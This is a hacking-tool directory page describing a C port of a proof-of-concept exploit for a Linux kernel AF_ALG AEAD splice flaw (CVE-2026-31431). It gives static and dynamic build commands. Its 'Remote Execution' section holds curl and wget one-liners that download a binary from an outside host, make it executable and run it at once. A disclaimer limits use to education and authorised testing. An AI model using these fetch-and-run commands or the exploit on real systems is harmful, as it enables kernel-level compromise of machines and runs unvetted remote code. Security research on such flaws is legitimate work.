Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431 — C port of a proof-of-concept exploiting a Linux kernel AF_ALG AEAD splice logic flaw (CVE-2026-31431) for educational research. | Kitploit
Tools/GitHubGitHub/offsecguy/cve-2026-31431
Vulnerability AnalysisExploitationBinary Exploitation
GitHuboffsecguy/cve-2026-31431

CVE-2026-31431

C port of a proof-of-concept exploiting a Linux kernel AF_ALG AEAD splice logic flaw (CVE-2026-31431) for educational research.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

copy.fail — AF_ALG AEAD splice primitive (CVE-2026-31431)

Overview

This project is a C port of the original Python prototype, by offsecguy.
It leverages the Linux kernel crypto API (AF_ALG) using:

  • authencesn(hmac(sha256),cbc(aes)) AEAD mode
  • MSG_MORE flag
  • splice() system call

The technique feeds data from a read-only file descriptor through a crypto socket, processing it chunk-by-chunk.


⚙️ Compilation

Option 1 — musl (Static Build)

root@kitploit:~
musl-gcc -static -Os -s -o exp exp.c -I./zlib-1.3.2 -L./zlib-1.3.2 -lz

Option 2 — GCC Static

root@kitploit:~
gcc exp.c -o exp -lz -s -static

Option 3 — GCC Dynamic

root@kitploit:~
gcc exp.c -o exp -lz -s

🚀 Remote Execution

root@kitploit:~
curl -sLo exp chosen.to/copyfail && chmod +x exp ; ./exp
root@kitploit:~
wget chosen.to/copyfail -qO exp && chmod +x exp ; ./exp

⚠️ Notes

  • Requires Linux kernel support for AF_ALG
  • Uses zlib for decompression
  • Designed for low-level kernel crypto interaction and experimentation

Disclaimer

This code is provided for educational and research purposes only.
Use responsibly and only on systems you are authorized to test.

Download Tool